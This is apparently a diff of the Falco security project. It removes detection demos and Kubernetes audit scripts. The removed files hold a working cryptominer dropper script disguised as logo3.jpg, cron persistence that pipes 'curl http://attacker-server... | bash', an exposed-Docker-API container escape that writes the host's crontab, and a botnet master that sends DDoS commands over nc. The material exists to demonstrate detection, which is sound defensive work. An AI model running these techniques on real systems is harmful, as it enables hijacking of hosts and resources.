# bash-completion \
# bc \
ca-certificates \
curl \
gnupg2 \
jq \
# netcat \
# xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - \
&& echo "deb https://dl.bintray.com/falcosecurity/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
&& apt-get update -y \
&& if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

View File

@@ -0,0 +1,21 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN apt update -y
RUN apt install dkms libyaml-0-2 curl -y
ADD falco-${FALCO_VERSION}-x86_64.tar.gz /
RUN cp -R /falco-${FALCO_VERSION}-x86_64/* /
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
COPY rules/*.yaml /rules/
COPY trace_files/*.scap /traces/
CMD ["/usr/bin/falco"]

View File

@@ -58,6 +58,7 @@ case "$CMD" in
# build docker images
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "tar.gz"
# check that source directory contains Falco
if [ ! -d "$SOURCE_DIR/falco/test" ]; then
@@ -73,6 +74,7 @@ case "$CMD" in
# clean docker images
clean_image "deb"
clean_image "rpm"
clean_image "tar.gz"
;;
"bash")
CMD=/bin/bash

View File

@@ -1,2 +0,0 @@
labels:
- area/examples

View File

@@ -1,117 +0,0 @@
# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

View File

@@ -1,14 +0,0 @@
server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

View File

@@ -1 +0,0 @@
{"config": "some-bitcoin-miner-config-goes-here"}

View File

@@ -1,64 +0,0 @@
#!/bin/sh
echo "***Checking for existing Miner program"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Killing competing Miner programs"
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/sshd
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
echo "***Reinstalling cron job to run Miner program"
crontab -r || true && \
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true
echo "***Configuring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Configuring system for Miner program"
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Running Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "***Ensuring Miner program is alive"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Reconfiguring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Reconfiguring system for Miner program"
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Restarting Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

View File

@@ -1,7 +0,0 @@
#!/bin/bash
while true; do
echo "Mining bitcoins..."
sleep 60
done

View File

@@ -1,41 +0,0 @@
version: '3'
volumes:
host-filesystem:
docker-socket:
services:
host-machine:
privileged: true
build:
context: ${PWD}/host-machine
dockerfile: ${PWD}/host-machine/Dockerfile
volumes:
- host-filesystem:/etc
- docker-socket:/var/run
ports:
- "2375:2375"
depends_on:
- "falco"
attacker-server:
image: nginx:latest
ports:
- "8220:8220"
volumes:
- ${PWD}/attacker_files:/usr/share/nginx/html
- ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- "falco"
falco:
image: falcosecurity/falco:latest
privileged: true
volumes:
- docker-socket:/host/var/run
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

View File

@@ -1,7 +0,0 @@
{
"Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/etc:/mnt/etc"]
}
}

View File

@@ -1,12 +0,0 @@
FROM docker:stable-dind
RUN set -ex \
&& apk add --no-cache \
bash curl
COPY start-cron-and-dind.sh /usr/local/bin
ENTRYPOINT ["start-cron-and-dind.sh"]
CMD []

View File

@@ -1,11 +0,0 @@
#!/bin/sh
# Start docker-in-docker, but backgrounded with its output still going
# to stdout/stderr.
dockerd-entrypoint.sh &
# Start cron in the foreground with a moderate level of debugging to
# see job output.
crond -f -d 6

View File

@@ -1,14 +0,0 @@
#!/bin/sh
echo "Pulling alpine:latest image to docker-in-docker instance"
curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
echo "Creating container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
echo "Running container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'

View File

@@ -1,136 +0,0 @@
This page describes how to get [Kubernetes Auditing](https://kubernetes.io/docs/tasks/debug-application-cluster/audit) working with Falco.
Either using static audit backends in Kubernetes 1.11, or in Kubernetes 1.13 with dynamic sink which configures webhook backends through an AuditSink API object.
<!-- toc -->
- [Instructions for Kubernetes 1.11](#instructions-for-kubernetes-111)
* [Deploy Falco to your Kubernetes cluster](#deploy-falco-to-your-kubernetes-cluster)
* [Define your audit policy and webhook configuration](#define-your-audit-policy-and-webhook-configuration)
* [Restart the API Server to enable Audit Logging](#restart-the-api-server-to-enable-audit-logging)
* [Observe Kubernetes audit events at falco](#observe-kubernetes-audit-events-at-falco)
- [Instructions for Kubernetes 1.13](#instructions-for-kubernetes-113)
* [Deploy Falco to your Kubernetes cluster](#deploy-falco-to-your-kubernetes-cluster-1)
* [Restart the API Server to enable Audit Logging](#restart-the-api-server-to-enable-audit-logging-1)
* [Deploy AuditSink objects](#deploy-auditsink-objects)
* [Observe Kubernetes audit events at falco](#observe-kubernetes-audit-events-at-falco-1)
- [Instructions for Kubernetes 1.13 with dynamic webhook and local log file](#instructions-for-kubernetes-113-with-dynamic-webhook-and-local-log-file)
<!-- tocstop -->
## Instructions for Kubernetes 1.11
The main steps are:
1. Deploy Falco to your Kubernetes cluster
1. Define your audit policy and webhook configuration
1. Restart the API Server to enable Audit Logging
1. Observe Kubernetes audit events at falco
### Deploy Falco to your Kubernetes cluster
Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a falco service account, service, configmap, and daemonset.
### Define your audit policy and webhook configuration
The files in this directory can be used to configure Kubernetes audit logging. The relevant files are:
* [audit-policy.yaml](./audit-policy.yaml): The Kubernetes audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml).
* [webhook-config.yaml.in](./webhook-config.yaml.in): A (templated) webhook configuration that sends audit events to an ip associated with the falco service, port 8765. It is templated in that the *actual* IP is defined in an environment variable `FALCO_SERVICE_CLUSTERIP`, which can be plugged in using a program like `envsubst`.
Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the `ClusterIP`s associated with those services are routable.
```
FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < webhook-config.yaml.in > webhook-config.yaml
```
### Restart the API Server to enable Audit Logging
A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling audit log support for the apiserver, including copying the audit policy/webhook files to the apiserver machine, modifying the apiserver command line to add `--audit-log-path`, `--audit-policy-file`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
It is run as `bash ./enable-k8s-audit.sh <variant> static`. `<variant>` can be one of the following:
* `minikube`
* `kops`
When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
Its output looks like this:
```
$ bash enable-k8s-audit.sh minikube static
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 1190 1.2MB/s 00:00
***Copying audit policy/webhook files to apiserver...
audit-policy.yaml 100% 2519 1.2MB/s 00:00
webhook-config.yaml 100% 248 362.0KB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
$
```
### Observe Kubernetes audit events at falco
Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
## Instructions for Kubernetes 1.13
The main steps are:
1. Deploy Falco to your Kubernetes cluster
2. Restart the API Server to enable Audit Logging
3. Deploy the AuditSink object for your audit policy and webhook configuration
4. Observe Kubernetes audit events at falco
### Deploy Falco to your Kubernetes cluster
Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a Falco service account, service, configmap, and daemonset.
### Restart the API Server to enable Audit Logging
A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling dynamic audit support for the apiserver by modifying the apiserver command line to add `--audit-dynamic-configuration`, `--feature-gates=DynamicAuditing=true`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
It is run as `bash ./enable-k8s-audit.sh <variant> dynamic`. `<variant>` can be one of the following:
* `minikube`
* `kops`
When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
Its output looks like this:
```
$ bash enable-k8s-audit.sh minikube dynamic
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 1190 1.2MB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
$
```
### Deploy AuditSink objects
[audit-sink.yaml.in](./audit-sink.yaml.in), in this directory, is a template audit sink configuration that defines the dynamic audit policy and webhook to route Kubernetes audit events to Falco.
Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the ClusterIPs associated with those services are routable.
```
FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < audit-sink.yaml.in > audit-sink.yaml
```
### Observe Kubernetes audit events at falco
Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
## Instructions for Kubernetes 1.13 with dynamic webhook and local log file
If you want to use a mix of `AuditSink` for remote audit events as well as a local audit log file, you can run `enable-k8s-audit.sh` with the `"dynamic+log"` argument e.g. `bash ./enable-k8s-audit.sh <variant> dynamic+log`. This will enable dynamic audit logs as well as a static audit log to a local file. Its output looks like this:
```
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 2211 662.9KB/s 00:00
***Copying audit policy file to apiserver...
audit-policy.yaml 100% 2519 847.7KB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
```
The audit log will be available on the apiserver host at `/var/lib/k8s_audit/audit.log`.

View File

@@ -1,72 +0,0 @@
#!/usr/bin/env bash
set -euo pipefail
IFS=''
FILENAME=${1:-/etc/kubernetes/manifests/kube-apiserver.yaml}
VARIANT=${2:-minikube}
AUDIT_TYPE=${3:-static}
if [ "$AUDIT_TYPE" == "static" ]; then
if grep audit-webhook-config-file "$FILENAME" ; then
echo audit-webhook patch already applied
exit 0
fi
else
if grep audit-dynamic-configuration "$FILENAME" ; then
echo audit-dynamic-configuration patch already applied
exit 0
fi
fi
TMPFILE="/tmp/kube-apiserver.yaml.patched"
rm -f "$TMPFILE"
APISERVER_PREFIX=" -"
APISERVER_LINE="- kube-apiserver"
if [ "$VARIANT" == "kops" ]; then
APISERVER_PREFIX=" "
APISERVER_LINE="/usr/local/bin/kube-apiserver"
fi
while read -r LINE
do
echo "$LINE" >> "$TMPFILE"
case "$LINE" in
*$APISERVER_LINE*)
if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
echo "$APISERVER_PREFIX --audit-log-path=/var/lib/k8s_audit/audit.log" >> "$TMPFILE"
echo "$APISERVER_PREFIX --audit-policy-file=/var/lib/k8s_audit/audit-policy.yaml" >> "$TMPFILE"
if [[ $AUDIT_TYPE == "static" ]]; then
echo "$APISERVER_PREFIX --audit-webhook-config-file=/var/lib/k8s_audit/webhook-config.yaml" >> "$TMPFILE"
echo "$APISERVER_PREFIX --audit-webhook-batch-max-wait=5s" >> "$TMPFILE"
fi
fi
if [[ ($AUDIT_TYPE == "dynamic" || $AUDIT_TYPE == "dynamic+log") ]]; then
echo "$APISERVER_PREFIX --audit-dynamic-configuration" >> "$TMPFILE"
echo "$APISERVER_PREFIX --feature-gates=DynamicAuditing=true" >> "$TMPFILE"
echo "$APISERVER_PREFIX --runtime-config=auditregistration.k8s.io/v1alpha1=true" >> "$TMPFILE"
fi
;;
*"volumeMounts:"*)
if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
echo " - mountPath: /var/lib/k8s_audit/" >> "$TMPFILE"
echo " name: data" >> "$TMPFILE"
fi
;;
*"volumes:"*)
if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
echo " - hostPath:" >> "$TMPFILE"
echo " path: /var/lib/k8s_audit" >> "$TMPFILE"
echo " name: data" >> "$TMPFILE"
fi
;;
esac
done < "$FILENAME"
cp "$FILENAME" "/tmp/kube-apiserver.yaml.original"
cp "$TMPFILE" "$FILENAME"

View File

@@ -1,76 +0,0 @@
apiVersion: audit.k8s.io/v1beta1 # This is required.
kind: Policy
# Don't generate audit events for all requests in RequestReceived stage.
omitStages:
- "RequestReceived"
rules:
# Log pod changes at RequestResponse level
- level: RequestResponse
resources:
- group: ""
# Resource "pods" doesn't match requests to any subresource of pods,
# which is consistent with the RBAC policy.
resources: ["pods", "deployments"]
- level: RequestResponse
resources:
- group: "rbac.authorization.k8s.io"
# Resource "pods" doesn't match requests to any subresource of pods,
# which is consistent with the RBAC policy.
resources: ["clusterroles", "clusterrolebindings"]
# Log "pods/log", "pods/status" at Metadata level
- level: Metadata
resources:
- group: ""
resources: ["pods/log", "pods/status"]
# Don't log requests to a configmap called "controller-leader"
- level: None
resources:
- group: ""
resources: ["configmaps"]
resourceNames: ["controller-leader"]
# Don't log watch requests by the "system:kube-proxy" on endpoints or services
- level: None
users: ["system:kube-proxy"]
verbs: ["watch"]
resources:
- group: "" # core API group
resources: ["endpoints", "services"]
# Don't log authenticated requests to certain non-resource URL paths.
- level: None
userGroups: ["system:authenticated"]
nonResourceURLs:
- "/api*" # Wildcard matching.
- "/version"
# Log the request body of configmap changes in kube-system.
- level: Request
resources:
- group: "" # core API group
resources: ["configmaps"]
# This rule only applies to resources in the "kube-system" namespace.
# The empty string "" can be used to select non-namespaced resources.
namespaces: ["kube-system"]
# Log configmap and secret changes in all other namespaces at the RequestResponse level.
- level: RequestResponse
resources:
- group: "" # core API group
resources: ["secrets", "configmaps"]
# Log all other resources in core and extensions at the Request level.
- level: Request
resources:
- group: "" # core API group
- group: "extensions" # Version of group should NOT be included.
# A catch-all rule to log all other requests at the Metadata level.
- level: Metadata
# Long-running requests like watches that fall under this rule will not
# generate an audit event in RequestReceived.
omitStages:
- "RequestReceived"

View File

@@ -1,16 +0,0 @@
apiVersion: auditregistration.k8s.io/v1alpha1
kind: AuditSink
metadata:
name: falco-audit-sink
spec:
policy:
level: RequestResponse
stages:
- ResponseComplete
- ResponseStarted
webhook:
throttle:
qps: 10
burst: 15
clientConfig:
url: "http://$FALCO_SERVICE_CLUSTERIP:8765/k8s_audit"

View File

@@ -1,46 +0,0 @@
#!/usr/bin/env bash
set -euo pipefail
VARIANT=${1:-minikube}
AUDIT_TYPE=${2:-static}
if [ "$VARIANT" == "minikube" ]; then
APISERVER_HOST=$(minikube ip)
SSH_KEY=$(minikube ssh-key)
SSH_USER="docker"
MANIFEST="/etc/kubernetes/manifests/kube-apiserver.yaml"
fi
if [ "$VARIANT" == "kops" ]; then
# APISERVER_HOST=api.your-kops-cluster-name.com
SSH_KEY=~/.ssh/id_rsa
SSH_USER="admin"
MANIFEST=/etc/kubernetes/manifests/kube-apiserver.manifest
if [ -z "${APISERVER_HOST+xxx}" ]; then
echo "***You must specify APISERVER_HOST with the name of your kops api server"
exit 1
fi
fi
echo "***Copying apiserver config patch script to apiserver..."
ssh -i $SSH_KEY "$SSH_USER@$APISERVER_HOST" "sudo mkdir -p /var/lib/k8s_audit && sudo chown $SSH_USER /var/lib/k8s_audit"
scp -i $SSH_KEY apiserver-config.patch.sh "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
if [ "$AUDIT_TYPE" == "static" ]; then
echo "***Copying audit policy/webhook files to apiserver..."
scp -i $SSH_KEY audit-policy.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
scp -i $SSH_KEY webhook-config.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
fi
if [ "$AUDIT_TYPE" == "dynamic+log" ]; then
echo "***Copying audit policy file to apiserver..."
scp -i $SSH_KEY audit-policy.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
fi
echo "***Modifying k8s apiserver config (will result in apiserver restarting)..."
ssh -i $SSH_KEY "$SSH_USER@$APISERVER_HOST" "sudo bash /var/lib/k8s_audit/apiserver-config.patch.sh $MANIFEST $VARIANT $AUDIT_TYPE"
echo "***Done!"

View File

@@ -1,14 +0,0 @@
apiVersion: v1
kind: Config
clusters:
- name: falco
cluster:
server: http://$FALCO_SERVICE_CLUSTERIP:8765/k8s_audit
contexts:
- context:
cluster: falco
user: ""
name: default-context
current-context: default-context
preferences: {}
users: []

View File

@@ -1,78 +0,0 @@
# Demo of falco with man-in-the-middle attacks on installation scripts
For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
## Demo architecture
### Initial setup
Make sure no prior `botnet_client.py` processes are lying around.
### Start everything using docker-compose
From this directory, run the following:
```
$ docker-compose -f demo.yml up
```
This starts the following containers:
* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
* falco: will detect the activities of botnet_client.py.
### Download `install-software.sh`, see botnet client running
Run the following to fetch and execute the installation script,
which also installs the botnet client:
```
$ curl http://localhost/install-software.sh | bash
```
You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
```
$ ps auxww | grep python
...
root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
$ telnet localhost 1234
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```
You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
```
attacker_botnet_master | Trying to contact compromised machine...
attacker_botnet_master | Waiting for botnet command and control commands...
attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
```
At this point, kill the botnet_client.py process to clean things up.
### Run installation script again using `fbash`, note falco warnings.
If you run the installation script again:
```
curl http://localhost/install-software.sh | ./fbash
```
In the docker-compose output, you'll see the following falco warnings:
```
falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
```

View File

@@ -1,7 +0,0 @@
#!/bin/sh
while true; do
echo "Trying to contact compromised machine..."
echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
sleep 5
done

View File

@@ -1,51 +0,0 @@
# Owned by software vendor, serving install-software.sh.
apache:
container_name: apache
image: httpd:2.4
volumes:
- ${PWD}/web_root:/usr/local/apache2/htdocs
# Owned by software vendor, compromised by attacker.
nginx:
container_name: mitm_nginx
image: nginx:latest
links:
- apache
ports:
- "80:80"
volumes:
- ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
# Owned by attacker.
evil_apache:
container_name: evil_apache
image: httpd:2.4
volumes:
- ${PWD}/evil_web_root:/usr/local/apache2/htdocs
ports:
- "9090:80"
# Owned by attacker, constantly trying to contact client.
attacker_botnet_master:
container_name: attacker_botnet_master
image: alpine:latest
net: host
volumes:
- ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
command:
- /tmp/botnet_master.sh
# Owned by client, detects attack by attacker
falco:
container_name: falco
image: falcosecurity/falco:latest
privileged: true
volumes:
- /var/run/docker.sock:/host/var/run/docker.sock
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
